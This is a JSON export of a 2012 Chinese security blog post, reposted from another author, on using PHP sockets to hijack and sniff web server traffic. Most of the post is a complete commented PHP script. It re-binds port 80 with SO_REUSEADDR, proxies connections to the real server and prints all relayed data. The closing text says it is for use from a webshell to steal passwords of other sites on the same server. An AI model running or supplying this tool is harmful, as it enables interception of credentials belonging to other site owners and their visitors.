{"id":26,"date":"2012-08-03T13:24:02","date_gmt":"2012-08-03T13:24:02","guid":{"rendered":""},"modified":"2012-08-03T13:24:02","modified_gmt":"2012-08-03T13:24:02","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=26","title":{"rendered":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e"},"content":{"rendered":"<p sizset=\"35\" sizcache0844554706760557=\"0\"><span style=\"font-size:14px;\">\u4f5c\u8005:\u4e91\u8212<\/span><br \/>\n<span style=\"font-size:14px;\">\u8f6c\u81ea\uff1a<\/span><a href=\"http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880\" target=\"_blank\"><span style=\"font-size:14px;\">http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880<\/span><\/a><\/p>\n<p><span style=\"font-size:14px;\" sizset=\"36\" sizcache0844554706760557=\"0\">\u524d\u51e0\u5929\u523a\u5728\u6211\u4eec\u7684maillist\u53d1\u4e86\u4e00\u4e2a\u8001\u5916\u5199\u7684\u6587\u7ae0\uff0c\u5927\u610f\u662f\u53ef\u4ee5\u7528php\u6765\u5b9e\u73b0\u6570\u636e\u7684\u52ab\u6301\u548c\u8f6c\u53d1\u3002\u6211\u7784\u4e86\u4e00\u4e0b\uff0c\u786e\u5b9e\u53ef\u884c\uff0c\u4e8e\u662f\u4eca\u5929\u62bd\u51fa\u4e86\u4ee5\u524d\u7528\u6765\u626f\u6de1\u7684\u65f6\u95f4\uff0c\u5199\u4e86\u6bb5\u4ee3\u7801\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u60f3\u6cd5\u3002\u8001\u5916\u7684\u539f\u6587\u662f\u4e00\u4e2aPDF\uff0c\u6709\u5174\u8da3\u770b\u7684\u53ef\u4ee5\u770b\u770b\u3002\u5730\u5740\u662f\u5728\uff1a<a href=\"http:\/\/www.secforce.co.uk\/media\/presentations\/OWASP_Abusing_PHP_sockets.pdf\" target=\"_blank\"><span style=\"font-size:14px;\">http:\/\/www.secforce.co.uk\/media\/presentations\/OWASP_Abusing_PHP_sockets.pdf<\/span><\/a>\u3002\u5176\u5b9e\u5173\u4e8e\u8fd9\u4e2a\u7684\u539f\u7406\uff0c\u6211\u8bb0\u5f97\u5f88\u65e9\u5f88\u65e9\u4e4b\u524dflashsky\u5c31\u5728xfocus\u4e0a\u9762\u8d34\u8fc7\u901a\u8fc7SO_REUSEADDR\u5b9e\u73b0\u7aef\u53e3\u91cd\u590d\u7ed1\u5b9a\u7684\uff0cmix\u8fd8\u5199\u8fc7\u4e00\u4e2a guest\u6743\u9650\u55c5\u63a2\u5bc6\u7801\u7684\u3002\u6211\u8fd9\u91cc\u6bd4\u8f83\u4e0d\u540c\u7684\u662f\u7528php\u5b9e\u73b0\u7684\uff0c\u53ef\u4ee5\u5728webshell\u91cc\u9762\u7528\uff0c\u5f53\u7136\u6211\u6ca1\u6709\u6d4b\u8bd5\u8fc7\uff0c\u6211\u6ca1shell\u3002<br \/>\n\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u4e2a\u4e1c\u897f\u548c\u4ee5\u524d\u7684\u300aPHP\u4e0b\u5b9e\u73b0\u7aef\u53e3\u590d\u7528\/\u52ab\u6301\u300b\u662f\u5b8c\u5168\u4e0d\u4e00\u6837\u7684\uff0c\u90a3\u4e2a\u6587\u7ae0\u53ef\u4ee5\u5728\u8fd9\u91cc\u627e\u5230\uff1a<a href=\"http:\/\/www.west999.com\/info\/html\/wangluobiancheng\/Phpbiancheng\/20080224\/22439.html\" target=\"_blank\"><span style=\"font-size:14px;\">http:\/\/www.west999.com\/info\/html\/wangluobiancheng\/Phpbiancheng\/20080224\/22439.html<\/span><\/a>\u3002<\/span><\/p>\n<p><span style=\"font-size:14px;\">\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u4e0d\u4e00\u6837\uff0c\u6211\u5c31\u4e0d\u8bf4\u4e86\u3002<\/p>\n<p>\u4ee3\u7801\u6211\u6ce8\u91ca\u5f97\u5f88\u8be6\u7ec6\uff0c\u4e2a\u4eba\u89c9\u5f97\u5199\u5f97\u8fd8\u4e0d\u9519\uff0c\u4e0d\u7ec6\u8bf4\u3002\u8fd9\u91cc\u5927\u6982\u8bf4\u4e00\u4e0b\u6280\u672f\u4e0a\u7684\u96be\u70b9\u3002\u9996\u5148\u662f\u5728web\u91cc\u9762\uff0c\u6ca1\u6709\u591a\u7ebf\u7a0b\u4e5f\u6ca1\u6709\u591a\u8fdb\u7a0b\uff0c\u4f46\u662f\u6bcf\u4e00\u4e2a\u65b0\u8fde\u63a5\u8fdb\u6765\u5c31\u8981\u53bb\u5904\u7406\uff0c\u5e94\u8be5\u600e\u4e48\u505a\uff1f\u663e\u7136\u4e0d\u80fd\u987a\u5e8f\u6267\u884c\uff0c\u56e0\u4e3a\u5149accept\u90a3\u91cc\u5c31\u4f1a\u88ab\u963b\u585e\u4f4f\u7684\uff0c\u800c\u4e14\u540e\u9762\u6bcf\u4e00\u4e2asession\u4e5f\u9700\u8981\u5206\u522b\u5904\u7406\u7684\u3002\u8fd8\u597d\u67e5\u624b\u518c\u53d1\u73b0\u7ecf\u5178\u7684socket_select\u51fd\u6570\u53ef\u7528\uff0c\u6709\u8fd9\u4e2a\u5c31\u597d\u8bf4\u4e86\uff0c\u4e13\u4e1a\u5b9e\u73b0\u591a\u8def\u590d\u7528\u7684\u3002<\/p>\n<p>PHP\u4ee3\u7801\u5982\u4e0b\uff0c\u6709\u8be6\u7ec6\u6ce8\u91ca\u3002blog\u8d34\u7684\uff0c\u6240\u4ee5\u4ee3\u7801\u53ef\u80fd\u4f1a\u6389\u4e9b\u4e1c\u897f\uff0c\u5176\u4ed6\u7684\u652f\u6301\u6211\u5c31\u4e0d\u63d0\u4f9b\u4e86\uff0c\u770b\u4ee3\u7801\uff1a<\/span><\/p>\n<p><span style=\"font-size:14px;\">========================================================<\/span><\/p>\n<p><span style=\"font-size:14px;\">&lt;?php<br \/>\n&nbsp;<br \/>\nclass select<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nvar $sockets;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u6784\u9020\u51fd\u6570<br \/>\n&nbsp;<br \/>\nfunction select($sockets)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$this-&gt;sockets = array();<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">foreach($sockets as $socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$this-&gt;add($socket);<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">function add($add_socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/array_push($this-&gt;sockets, $add_socket);<br \/>\n&nbsp;<br \/>\n$this-&gt;sockets[] = $add_socket;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5229\u7528\u4e34\u65f6\u6570\u7ec4\u6765\u5220\u9664\u6570\u7ec4\u4e2d\u7684\u5143\u7d20<br \/>\n&nbsp;<br \/>\nfunction remove($remove_socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$tmp_sockets = array();<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">foreach($this-&gt;sockets as $socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nif($remove_socket != $socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$tmp_sockets[] = $socket;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">$this-&gt;sockets = $tmp_sockets;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u68c0\u67e5socket\u6570\u7ec4\u662f\u5426\u53ef\u8bfb\uff0c\u4f20\u5165\u8d85\u65f6\u65f6\u95f4\uff0c\u8fd4\u56desocket\u6570\u7ec4<br \/>\n&nbsp;<br \/>\nfunction can_read($timeout)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$read = $this-&gt;sockets;<br \/>\n&nbsp;<br \/>\nsocket_select( $read, $write = NULL, $except = NULL, $timeout );<br \/>\n&nbsp;<br \/>\nreturn $read;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u68c0\u67e5socket\u6570\u7ec4\u662f\u5426\u53ef\u5199\uff0c\u4f20\u5165\u8d85\u65f6\u65f6\u95f4\uff0c\u8fd4\u56desocket\u6570\u7ec4<br \/>\n&nbsp;<br \/>\nfunction can_write($timeout)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n$write = $this-&gt;sockets;<br \/>\n&nbsp;<br \/>\nsocket_select( $read = NULL, $write, $except = NULL, $timeout );<br \/>\n&nbsp;<br \/>\nreturn $write;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u7f51\u9875\u4e0d\u8d85\u65f6<br \/>\n&nbsp;<br \/>\nset_time_limit(0);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5373\u65f6\u8f93\u51fa\u6570\u636e\uff0c\u4e0d\u7f13\u51b2<br \/>\n&nbsp;<br \/>\nob_end_clean();<br \/>\n&nbsp;<br \/>\nob_implicit_flush(true);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">if( !isset($_GET[&#8220;listen_ip&#8221;]) )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nexit;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\nif( $_GET[&#8220;listen_ip&#8221;] == &#8220;&#8221; )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nexit;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">$listen_ip = $_GET[&#8220;listen_ip&#8221;];<br \/>\n&nbsp;<br \/>\n$listen_port = 80;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5efa\u7acbsocket<br \/>\n&nbsp;<br \/>\n$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u8bbe\u7f6e\u91cd\u590d\u7ed1\u5b9a<br \/>\n&nbsp;<br \/>\nsocket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u660e\u786e\u6307\u5b9a\u7ed1\u5b9aIP\u5730\u5740\uff0c\u4f18\u5148\u83b7\u53d6\u6570\u636e<br \/>\n&nbsp;<br \/>\nsocket_bind($listen_sock, $listen_ip, $listen_port);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5f00\u59cb\u76d1\u542c<br \/>\n&nbsp;<br \/>\nsocket_listen ($listen_sock);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">echo &#8220;listen on &#8220;.htmlentities($listen_ip).&#8221; :&#8221;.$listen_port.&#8221;&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u521b\u5efasocket\u6570\u7ec4\uff0c\u4f7f\u7528select\u6765\u8f6e\u8be2<br \/>\n&nbsp;<br \/>\n$check_socks = array($listen_sock);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u6620\u5c04\u5ba2\u6237\u7aefsocket\u548c\u670d\u52a1\u7aefsocket<br \/>\n&nbsp;<br \/>\n\/\/ $socket_maps1\u5c06\u5ba2\u6237\u7aefsocket\u4f5c\u4e3akey<br \/>\n&nbsp;<br \/>\n\/\/ $socket_maps2\u5c06\u670d\u52a1\u7aefsocket\u4f5c\u4e3akey<br \/>\n&nbsp;<br \/>\n\/\/ \u4ee5\u5185\u5b58\u6362\u901f\u5ea6\uff0c\u5e76\u4e14\u65b9\u4fbf\u4e0b\u9762\u7684\u641c\u7d22<br \/>\n&nbsp;<br \/>\n$socket_maps1 = array( );<br \/>\n&nbsp;<br \/>\n$socket_maps2 = array( );<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5b9e\u4f8b\u5316select\u7c7b<br \/>\n&nbsp;<br \/>\n$select = new select( $check_socks );<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">while(true)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/*<br \/>\n&nbsp;<br \/>\nprint_r( $socket_maps );<br \/>\n&nbsp;<br \/>\nprint &#8220;&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\n*\/<br \/>\n&nbsp;<br \/>\n\/\/ select\u8f6e\u8be2\uff0c\u8d85\u65f62\u79d2<br \/>\n&nbsp;<br \/>\nforeach ($select-&gt;can_read(1) as $socket)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/ listen_sock\u53ef\u8bfb\uff0c\u8bf4\u660e\u6709\u4eba\u8fde\u63a5\u4e0a\u6765\u4e86<br \/>\n&nbsp;<br \/>\nif( $socket == $listen_sock )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/ \u63a5\u53d7\u65b0\u8fde\u63a5\uff0c\u5e76\u52a0\u5165\u5230\u8f6e\u8bad\u6570\u7ec4<br \/>\n&nbsp;<br \/>\n$new_client = socket_accept($listen_sock);<br \/>\n&nbsp;<br \/>\n$select-&gt;add($new_client);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">socket_getpeername($new_client, $ip, $port);<br \/>\n&nbsp;<br \/>\necho &#8220;New client connected: $ip, $port&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5efa\u7acb\u5230\u771f\u5b9e\u670d\u52a1\u5668\u7684socket<br \/>\n&nbsp;<br \/>\n$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br \/>\n&nbsp;<br \/>\nsocket_connect($server_sock,&#8221;127.0.0.1&#8243;, $listen_port);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5efa\u7acb\u771f\u5b9e\u670d\u52a1\u5668socket\u548c\u771f\u5b9e\u5ba2\u6237\u7aefsocket\u4e4b\u95f4\u7684\u6620\u5c04\u5173\u7cfb<br \/>\n&nbsp;<br \/>\n$socket_maps1[$new_client] = $server_sock;<br \/>\n&nbsp;<br \/>\n$socket_maps2[$server_sock] = $new_client;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u6dfb\u52a0\u5230select\u8f6e\u8be2\u4e2d<br \/>\n&nbsp;<br \/>\n$select-&gt;add($server_sock);<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ $listen_sock\u7684\u53ef\u8bfb\u6570\u636e\u662f\u56e0\u4e3a\u6709\u65b0\u8fde\u63a5\uff0c\u5df2\u7ecf\u5904\u7406\u4e86\u3002\u6682\u65f6\u53bb\u6389\uff0c\u56e0\u4e3a\u4e0b\u9762\u5f00\u59cb\u5904\u7406\u6570\u636e\u8f6c\u53d1<br \/>\n&nbsp;<br \/>\n\/\/select-&gt;remove( $listen_sock );<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5176\u4ed6socket\u53ef\u8bfb\uff0c\u8868\u793a\u6709\u6570\u636e\u9700\u8981\u4e2d\u8f6c<br \/>\n&nbsp;<br \/>\nelse<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/ \u8bfb\u53d6\u6570\u636e\uff0c\u5931\u8d25\u5219\u4ece\u8f6e\u8be2socket\u4e2d\u5220\u9664\uff0c\u5e76\u5173\u95edsocket<br \/>\n&nbsp;<br \/>\n$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);<br \/>\n&nbsp;<br \/>\nif ($client_data === false)<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nsocket_close( $socket );<br \/>\n&nbsp;<br \/>\n$select-&gt;remove( $socket );<br \/>\n&nbsp;<br \/>\necho &#8220;client disconnected.&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">continue;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<\/span><\/p>\n<p><span style=\"font-size:14px;\">\/\/ \u5982\u679csocket\u5728$socket_maps1\u7684key\u4e2d\uff0c\u8bf4\u660e\u662f\u4ece\u5ba2\u6237\u7aef\u8bfb\u5230\u4e86\u6570\u636e<br \/>\n&nbsp;<br \/>\nif( in_array( $socket, array_keys($socket_maps1) ) )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/echo &#8220;readed from client.&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\nif( ! socket_write( $socket_maps1[$socket], $client_data ) )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nsocket_close( $socket );<br \/>\n&nbsp;<br \/>\nsocket_close( $socket_maps1[$socket] );<br \/>\n&nbsp;<br \/>\n$select-&gt;remove( $socket );<br \/>\n&nbsp;<br \/>\n$select-&gt;remove( $socket_maps1[$socket] );<br \/>\n&nbsp;<br \/>\nprint &#8220;Write to server error.&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\nprint htmlentities($client_data).&#8221;&lt;\/b&gt;&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n\/\/ \u5426\u5219\u5982\u679csocket\u5728$socket_maps2\u7684key\u4e2d\uff0c\u8bf4\u660e\u662f\u4ece\u771f\u6b63\u7684web\u670d\u52a1\u5668\u8bfb\u5230\u4e86\u6570\u636e<br \/>\n&nbsp;<br \/>\nelseif( in_array( $socket, array_keys($socket_maps2) ) )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\n\/\/echo &#8220;readed from server.&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\nif( ! socket_write( $socket_maps2[$socket], $client_data ) )<br \/>\n&nbsp;<br \/>\n{<br \/>\n&nbsp;<br \/>\nsocket_close( $socket );<br \/>\n&nbsp;<br \/>\nsocket_close( $socket_maps2[$socket] );<br \/>\n&nbsp;<br \/>\n$select-&gt;remove( $socket );<br \/>\n&nbsp;<br \/>\n$select-&gt;remove( $socket_maps2[$socket] );<br \/>\n&nbsp;<br \/>\nprint &#8220;Write to client error.&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\nprint htmlentities($client_data).&#8221;&lt;\/b&gt;&lt;br \/&gt;&#8221;;<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n}<br \/>\n&nbsp;<br \/>\n?&gt;<\/span><\/p>\n<p><span style=\"font-size:14px;\">=========================================================<\/span><\/p>\n<p><span style=\"font-size:14px;\">\u8fd9\u4e2a\u4e1c\u897f\u6709\u4ec0\u4e48\u4f5c\u7528\uff1f\u81ea\u7531\u53d1\u6325\u3002\u4e5f\u8bb8\u4f60\u6709\u4e00\u4e2awebshell\uff0c\u4f46\u662f\u5374\u60f3\u77e5\u9053\u540c\u4e00\u4e2a\u670d\u52a1\u5668\u4e0a\u9762\u522b\u4eba\u7f51\u7ad9\u7684\u5bc6\u7801\u2026\u2026\u6211\u662f\u5728windows xp+apache\u6d4b\u8bd5\u7684\uff0c\u636e\u6211\u6240\u77e5windows2003\u9ed8\u8ba4\u5df2\u7ecf\u4e0d\u51c6\u91cd\u590d\u7ed1\u5b9a\u7aef\u53e3\u4e86\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p sizset=\"35\" sizcache0844554706760557=\"0\"><span style=\"font-size:14px;\">\u4f5c\u8005:\u4e91\u8212<\/span><br \/><span style=\"font-size:14px;\">\u8f6c\u81ea\uff1a<\/span><a href=\"http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880\" target=\"_blank\"><span style=\"font-size:14px;\">http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880<\/span><\/a><\/p>\n<p><span style=\"font-size:14px;\" sizset=\"36\" sizcache0844554706760557=\"0\">\u524d\u51e0\u5929\u523a\u5728\u6211\u4eec\u7684maillist\u53d1\u4e86\u4e00\u4e2a\u8001\u5916\u5199\u7684\u6587\u7ae0\uff0c\u5927\u610f\u662f\u53ef\u4ee5\u7528php\u6765\u5b9e\u73b0\u6570\u636e\u7684\u52ab\u6301\u548c\u8f6c\u53d1\u3002\u6211\u7784\u4e86\u4e00\u4e0b\uff0c\u786e\u5b9e\u53ef\u884c\uff0c\u4e8e\u662f\u4eca\u5929\u62bd\u51fa\u4e86\u4ee5\u524d\u7528\u6765\u626f\u6de1\u7684\u65f6\u95f4\uff0c\u5199\u4e86\u6bb5\u4ee3\u7801\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u60f3\u6cd5\u3002\u8001\u5916\u7684\u539f\u6587\u662f\u4e00\u4e2aPDF\uff0c\u6709\u5174\u8da3\u770b\u7684\u53ef\u4ee5\u770b\u770b\u3002\u5730\u5740\u662f\u5728\uff1a<a href=\"http:\/\/www.secforce.co.uk\/media\/presentations\/OWASP_Abusing_PHP_sockets.pdf\" target=\"_blank\"><span style=\"font-size:14px;\">http:\/\/www.secforce.co&#8230;<\/span><\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-26","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=26\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"\u4f5c\u8005:\u4e91\u8212\u8f6c\u81ea\uff1ahttp:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880\u524d\u51e0\u5929\u523a\u5728\u6211\u4eec\u7684maillist\u53d1\u4e86\u4e00\u4e2a\u8001\u5916\u5199\u7684\u6587\u7ae0\uff0c\u5927\u610f\u662f\u53ef\u4ee5\u7528php\u6765\u5b9e\u73b0\u6570\u636e\u7684\u52ab\u6301\u548c\u8f6c\u53d1\u3002\u6211\u7784\u4e86\u4e00\u4e0b\uff0c\u786e\u5b9e\u53ef\u884c\uff0c\u4e8e\u662f\u4eca\u5929\u62bd\u51fa\u4e86\u4ee5\u524d\u7528\u6765\u626f\u6de1\u7684\u65f6\u95f4\uff0c\u5199\u4e86\u6bb5\u4ee3\u7801\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u60f3\u6cd5\u3002\u8001\u5916\u7684\u539f\u6587\u662f\u4e00\u4e2aPDF\uff0c\u6709\u5174\u8da3\u770b\u7684\u53ef\u4ee5\u770b\u770b\u3002\u5730\u5740\u662f\u5728\uff1ahttp:\/\/www.secforce.co...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=26\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2012-08-03T13:24:02+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=26#webpage\",\"url\":\"http:\/\/weizn.net\/?p=26\",\"name\":\"\\u5229\\u7528php\\u6765\\u55c5\\u63a2\\u52ab\\u6301\\u670d\\u52a1\\u5668\\u6570\\u636e - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2012-08-03T13:24:02+00:00\",\"dateModified\":\"2012-08-03T13:24:02+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=26#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=26\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=26#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\\u5229\\u7528php\\u6765\\u55c5\\u63a2\\u52ab\\u6301\\u670d\\u52a1\\u5668\\u6570\\u636e\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=26#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=26#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"\\u5229\\u7528php\\u6765\\u55c5\\u63a2\\u52ab\\u6301\\u670d\\u52a1\\u5668\\u6570\\u636e\",\"datePublished\":\"2012-08-03T13:24:02+00:00\",\"dateModified\":\"2012-08-03T13:24:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=26#webpage\"},\"wordCount\":662,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=26#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=26","og_locale":"zh_CN","og_type":"article","og_title":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e - Wayne&#039;s 